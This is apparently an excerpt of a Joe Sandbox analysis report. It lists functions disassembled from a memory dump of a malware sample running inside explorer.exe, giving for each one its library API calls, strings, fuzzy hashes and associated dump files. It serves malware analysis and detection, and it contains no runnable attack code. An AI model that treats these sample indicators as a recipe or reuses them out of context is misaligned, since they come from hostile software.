API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 504881566fa92e16e2b951f6fe3cb8bd2d3588f684ac6c650da3f547429c388b
Instruction ID: 3ac2a6c8c5aaea0c24384b6253dff52e672bba697d267d9c6340c39d0913ba74
Opcode Fuzzy Hash: 504881566fa92e16e2b951f6fe3cb8bd2d3588f684ac6c650da3f547429c388b
Instruction Fuzzy Hash: 6A0124322887199EAA2637747C8DE672B44EB017B1334033EF111900F1EF6E5C419764

Function 0079EB24 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 206COMMON

Download Yara Rule

APIs

_strpbrk.LIBCMT ref: 0079EB72
_free.LIBCMT ref: 0079ECBE

Strings

*?, xrefs: 0079EB67

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: _free_strpbrk
String ID: *?
API String ID: 3300345361-2564092906
Opcode ID: ec893f68a9b9820c70cf9fad58df00a08a73714105b07aeaa9d9d9ed059e9918
Instruction ID: 7d1e5f8ba12bc692ced128a63c2c7ebf86fecf8d7bc240a90e6c4259fb4fad5a
Opcode Fuzzy Hash: ec893f68a9b9820c70cf9fad58df00a08a73714105b07aeaa9d9d9ed059e9918
Instruction Fuzzy Hash: 1C614CB5E00219AFDF14CFA8D8819EDFBF5EF49310B24816AE845E7340D635AE418BA0

Function 00785B10 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00785BE7
std::_Rethrow_future_exception.LIBCPMT ref: 00785C39
std::_Rethrow_future_exception.LIBCPMT ref: 00785C49

Part of subcall function 00763A60: __Mtx_unlock.LIBCPMT ref: 00763B54

Strings

5|, xrefs: 007632E7, 007632ED

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: Mtx_unlockRethrow_future_exceptionstd::_
String ID: 5|
API String ID: 3298230783-531852093
Opcode ID: 1dc70139d722e8e2c9f8ec678defff2caf6982ca93a70db71c3f8f1cb1beea88
Instruction ID: 341db6591b7136cedc903c028310de71917f70d9e42306fe7a680cc8303d38f7
Opcode Fuzzy Hash: 1dc70139d722e8e2c9f8ec678defff2caf6982ca93a70db71c3f8f1cb1beea88
Instruction Fuzzy Hash: D0413A71D407089BDB14FBA4D849BAFBBA8AF15300F40456EF54367642EB39A548C7B2

Function 0079F0E9 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe, xrefs: 0079F0EE

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\5Z1WFRMTOXRH6X21Z8NU8.exe
API String ID: 0-1978484262
Opcode ID: 5c5446fc6b9d2903fd09af04f49d6b8a14eaf3c477ea78fe10ad7a40636a3dfb
Instruction ID: 0064e380ed8c5c378aa506ac07519111eed498706f2ce663eb51289ecf26c5eb
Opcode Fuzzy Hash: 5c5446fc6b9d2903fd09af04f49d6b8a14eaf3c477ea78fe10ad7a40636a3dfb
Instruction Fuzzy Hash: 5B219F71644209EFEF20AF65EC85DAB77ADEF013A47104624F428D6251DB38DC4087E0

Function 00764910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 0076499F

Part of subcall function 0078AD46: RaiseException.KERNEL32(E06D7363,00000001,00000003,007625DC,007808E7,8B18EC83,?,007625DC,?,007C357C), ref: 0078ADA6

Strings

ios_base::eofbit set, xrefs: 00764954
ios_base::failbit set, xrefs: 0076494F
ios_base::badbit set, xrefs: 00764945
85|, xrefs: 00764984

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: 85|$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 3109751735-2855507302
Opcode ID: 54afa325be7efd8835d882b6b0cd55c6c8794af70bc90dbdef17bdead65ef9d1
Instruction ID: 4e489aa87371eeb6eed1fd635c4c6c1089d289cb07d7e0f0e246a860a259ff56
Opcode Fuzzy Hash: 54afa325be7efd8835d882b6b0cd55c6c8794af70bc90dbdef17bdead65ef9d1
Instruction Fuzzy Hash: D51103B1640705AFC714DF68C806B96B3E8AF51310F10C53AFD568B681E7B8F914CB91

Function 0078D6F7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,0078D7B8,?,?,00000000,?,?,0078D86A,00000002,FlsGetValue,007B23E8,007B23F0,?), ref: 0078D787

Strings

api-ms-, xrefs: 0078D747

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: cc022fac397f51ec379b61b1a2aaddc00a318c07c0ef433127685fc71a8ddf7a
Instruction ID: c64be7dec321f3d0d9d9a2cd01f235e55c5178ebaf7ff55e8a17053e20fce96e
Opcode Fuzzy Hash: cc022fac397f51ec379b61b1a2aaddc00a318c07c0ef433127685fc71a8ddf7a
Instruction Fuzzy Hash: 8911A575A81721ABDF326B789C49B5E77A4AF01B70F254620E911E72C0E77CED008BD5

Function 0078DB92 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,0078DB87,?,?,0078DB4F,00000000,00000000,?), ref: 0078DBA7
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0078DBBA
FreeLibrary.KERNEL32(00000000,?,?,0078DB87,?,?,0078DB4F,00000000,00000000,?), ref: 0078DBDD

Strings

mscoree.dll, xrefs: 0078DBA0
CorExitProcess, xrefs: 0078DBB2

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: e4fd2d0ae6447be26bfcd45c85660d04375e4346e4a2afc1df641b732532d4b5
Instruction ID: bd44d3b4823d3b56fda5127230fe1fa2f5ef8a732162eba0f997ac2a6b915173
Opcode Fuzzy Hash: e4fd2d0ae6447be26bfcd45c85660d04375e4346e4a2afc1df641b732532d4b5
Instruction Fuzzy Hash: BCF01C71641218FBDB21AB50DD0DFDE7FA9EB04756F158164F401E22A0CB788E01DBD4

Function 007953C2 Relevance: 7.8, APIs: 5, Instructions: 255COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00796820: GetLastError.KERNEL32(00000000,00000000,?,00797607,?,00000000,00000000,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010), ref: 00796825
Part of subcall function 00796820: SetLastError.KERNEL32(00000000,00000006,000000FF,?,00797AC1,00000000,00000000,00000000,00000000,8B18EC83,007C3208,00000010,00790B22,00000000,00000000,00000000), ref: 007968C3

_free.LIBCMT ref: 007956AD
_free.LIBCMT ref: 007956C6
_free.LIBCMT ref: 00795704
_free.LIBCMT ref: 0079570D
_free.LIBCMT ref: 00795719

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: _free$ErrorLast
String ID:
API String ID: 3291180501-0
Opcode ID: b975fd6b016cc6ec34347a1a9ceddaa310f750087c3944da5f8ae69e9618ddb6
Instruction ID: eb5751a17b39da4ea04170beecdadda188f4031e9ea3d72584df6ee4d87f402f
Opcode Fuzzy Hash: b975fd6b016cc6ec34347a1a9ceddaa310f750087c3944da5f8ae69e9618ddb6
Instruction Fuzzy Hash: DAB16B75A01629DFDF25DF18D888AA9B7B5FF08314F6045ADE84AA7350D738AE90CF40

Function 00786E00 Relevance: 7.7, APIs: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00786F89
__Mtx_unlock.LIBCPMT ref: 00786F9A
__Cnd_broadcast.LIBCPMT ref: 00786FC0
__Mtx_unlock.LIBCPMT ref: 00786FC6
Concurrency::cancel_current_task.LIBCPMT ref: 0078700F

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: Mtx_unlock$Cnd_broadcastConcurrency::cancel_current_task
String ID:
API String ID: 3354401312-0
Opcode ID: 33abd6a09a2b4d49abd08b9150abf87aac3de54f228a45800620ab3d1e6c6cc3
Instruction ID: 478e2d9c0edcb1772404e4682e7b67513e7598cfc0ae949404257161688d6e72
Opcode Fuzzy Hash: 33abd6a09a2b4d49abd08b9150abf87aac3de54f228a45800620ab3d1e6c6cc3
Instruction Fuzzy Hash: AF618170D41209DFDF14EFA4C958BAEBBF4BF04704F2441A9E805A7342DB39AA05CBA1

Function 0076F280 Relevance: 7.7, APIs: 5, Instructions: 159comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0076F317
CoCreateInstance.OLE32(007BD064,00000000,00000001,007BD0C4,?), ref: 0076F333
CoUninitialize.OLE32 ref: 0076F341
CoUninitialize.OLE32 ref: 0076F400
CoUninitialize.OLE32 ref: 0076F414

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: Uninitialize$CreateInitializeInstance
String ID:
API String ID: 1968832861-0
Opcode ID: ff82224e73b3a68b3b9e65876fe11e1330e347c89afae4061b5aeed143b76b8e
Instruction ID: 78489e363db3b3c1f4cc35649e80bc887a386fff033095b1f429623987b8fa3d
Opcode Fuzzy Hash: ff82224e73b3a68b3b9e65876fe11e1330e347c89afae4061b5aeed143b76b8e
Instruction Fuzzy Hash: 4F51B671A00109DFDB04DF69DC89BEE7BB5EF48314F108128F906E7291D778A944CBA1

Function 00784C00 Relevance: 7.6, APIs: 5, Instructions: 107COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00784C36
std::_Lockit::_Lockit.LIBCPMT ref: 00784C56
std::_Lockit::~_Lockit.LIBCPMT ref: 00784C76
std::_Facet_Register.LIBCPMT ref: 00784D11
std::_Lockit::~_Lockit.LIBCPMT ref: 00784D29

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 0138187148e2fb3f969a3f319d8d887853588a4d721525991dfe5ee1f64e4876
Instruction ID: 56a7671f64a77875e7137bf2f318b5d878945519c95ceeb1f9613d4236e39826
Opcode Fuzzy Hash: 0138187148e2fb3f969a3f319d8d887853588a4d721525991dfe5ee1f64e4876
Instruction Fuzzy Hash: 0441D071A40216DBCB24EF54D845BAEBBB4FF04710F14816EE8066B351EB79AD01CBD5

Function 007A095D Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 007A0975

Part of subcall function 00797C06: HeapFree.KERNEL32(00000000,00000000,?,007A0BFE,?,00000000,?,8B18EC83,?,007A0EA1,?,00000007,?,?,007A1346,?), ref: 00797C1C
Part of subcall function 00797C06: GetLastError.KERNEL32(?,?,007A0BFE,?,00000000,?,8B18EC83,?,007A0EA1,?,00000007,?,?,007A1346,?,?), ref: 00797C2E

_free.LIBCMT ref: 007A0987
_free.LIBCMT ref: 007A0999
_free.LIBCMT ref: 007A09AB
_free.LIBCMT ref: 007A09BD

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: e3b71cac2566a7a10d481f685f522786ee2b583ad8ea493d1dd30b360343430a
Instruction ID: 23079d1ba913820d215a1279aa64b78a2f7d99a6bf3fecc96f3bcf01b69fe85e
Opcode Fuzzy Hash: e3b71cac2566a7a10d481f685f522786ee2b583ad8ea493d1dd30b360343430a
Instruction Fuzzy Hash: EFF0FFB2519600EB9E29DF64F985C1B73EDBB427517644D09F048E7611C72DFC808AE4

Function 0077676D Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 315COMMON

Download Yara Rule

APIs

RemoveDirectoryA.KERNEL32(00000000), ref: 00776770

Strings

0Ry=, xrefs: 007767C0
2, xrefs: 0077681A
246122658369, xrefs: 007767DD

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: DirectoryRemove
String ID: 0Ry=$2$246122658369
API String ID: 597925465-49898293
Opcode ID: b51cc8a8dba0a7071226864ff51814fc25dd1b4d1368043ebfc54b207e326fd0
Instruction ID: 26eb05676749f6e1ce76ef7062909aa54f1ca4820b45c677c81345e50b3a13d0
Opcode Fuzzy Hash: b51cc8a8dba0a7071226864ff51814fc25dd1b4d1368043ebfc54b207e326fd0
Instruction Fuzzy Hash: 94B1F8713105489BEF2DDF28CD8979C7A22EB82344F64C25CE84D9B3DAD73DA6808B55

Function 0078CDBC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 0078CDE1
CatchIt.LIBVCRUNTIME ref: 0078CEC7

Strings

RCC, xrefs: 0078CDFB
MOC, xrefs: 0078CDF3

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 095cd29fb7aff4aee2d58c5160fdc7985bde91d657e6777725c6a98398ed7d25
Instruction ID: ef3cc65169612a72b7bf9fbdba6a78f985ece8b3808abfa70168ceb6e256abd1
Opcode Fuzzy Hash: 095cd29fb7aff4aee2d58c5160fdc7985bde91d657e6777725c6a98398ed7d25
Instruction Fuzzy Hash: F0412871940209EFCF16EF98CC85AEEBBB5FF48304F198199FA04A6251D3399960DB61

Function 00798C15 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00798C9F

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: d725f28c003498a83adba3475cbb9d2ba75eb6362bbb9180f06b7f45438f7c42
Instruction ID: 82978acf03d5e63d0b0e43f75dd919ea129f22a97805d0253cf5ed45729239c8
Opcode Fuzzy Hash: d725f28c003498a83adba3475cbb9d2ba75eb6362bbb9180f06b7f45438f7c42
Instruction Fuzzy Hash: A8B13732A042459FDF15CF28E851BBEBBF5EF56350F2441AAE845AB342DA3C8D41C762

Function 0078C7BB Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0078C882
___AdjustPointer.LIBCMT ref: 0078C8A5
___AdjustPointer.LIBCMT ref: 0078C941

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 4489bc5aed3415c3a9e2860f93546a47855bf6ebbcf75c5d4fef3120f2163d6a
Instruction ID: ad9bf08f29feb1586cfd8ffd00b75bca530bd2286b2896f9fc606d53304c8a54
Opcode Fuzzy Hash: 4489bc5aed3415c3a9e2860f93546a47855bf6ebbcf75c5d4fef3120f2163d6a
Instruction Fuzzy Hash: B751BE72AC4702EFEB2ABF54D945B6A73A4FF14710F14402EE80297691D73DAC41DBA1

Function 00769A20 Relevance: 6.2, APIs: 4, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,3F07E9DB,00000000), ref: 00769A99
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00769B00
GetProcAddress.KERNEL32(00000000), ref: 00769B07

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: 9d7e25c5f6439608a63c955ff7f738e6ba5206625fd97a3337a246d45ccc199b
Instruction ID: dab33346dfb225156fe7e081853cc948208d0dab05f0b1cc7afc97b0fd12498a
Opcode Fuzzy Hash: 9d7e25c5f6439608a63c955ff7f738e6ba5206625fd97a3337a246d45ccc199b
Instruction Fuzzy Hash: 50512B71D04208DBDB14EB78DD497DDBB79EB45310F504299E90AA72C1EB3D9E80CB91

Function 007A6C2E Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 007A6CFE
_free.LIBCMT ref: 007A6D27
SetEndOfFile.KERNEL32(00000000,007A348F,00000000,?,?,?,?,?,?,?,?,007A348F,?,00000000), ref: 007A6D59
GetLastError.KERNEL32(?,?,?,?,?,?,?,007A348F,?,00000000,?,?,?,?,?), ref: 007A6D75

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580952355.00000000007CC000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3581004685.00000000007D2000.00000008.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_760000_explorer.jbxd

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 9dc92905a490e4100e67d9355b07492e076c2b5f54b87505a66ab4f6bca87b4f
Instruction ID: 289c1d45ea2bf0e87337591a2321f563d1f870c8f6776950fdaadb89e6cfdf77
Opcode Fuzzy Hash: 9dc92905a490e4100e67d9355b07492e076c2b5f54b87505a66ab4f6bca87b4f
Instruction Fuzzy Hash: 6241D272700604DADF15ABB89C0AB9E3775EF863A0F2D0710F554E72A2EA3CD9408771

Function 00762F00 Relevance: 6.1, APIs: 4, Instructions: 120threadCOMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00762F9F
GetCurrentThreadId.KERNEL32 ref: 00762FAB
__Mtx_unlock.LIBCPMT ref: 00762FF2
__Cnd_broadcast.LIBCPMT ref: 00762FFB

Memory Dump Source

Source File: 0000000E.00000002.3580786588.0000000000761000.00000020.00000001.01000000.00000000.sdmp, Offset: 00760000, based on PE: true

Associated: 0000000E.00000002.3580749069.0000000000760000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580870957.00000000007B0000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 0000000E.00000002.3580915251.00000000007C5000.00000004.00000001.01000000.00000000.sdmpDownload File
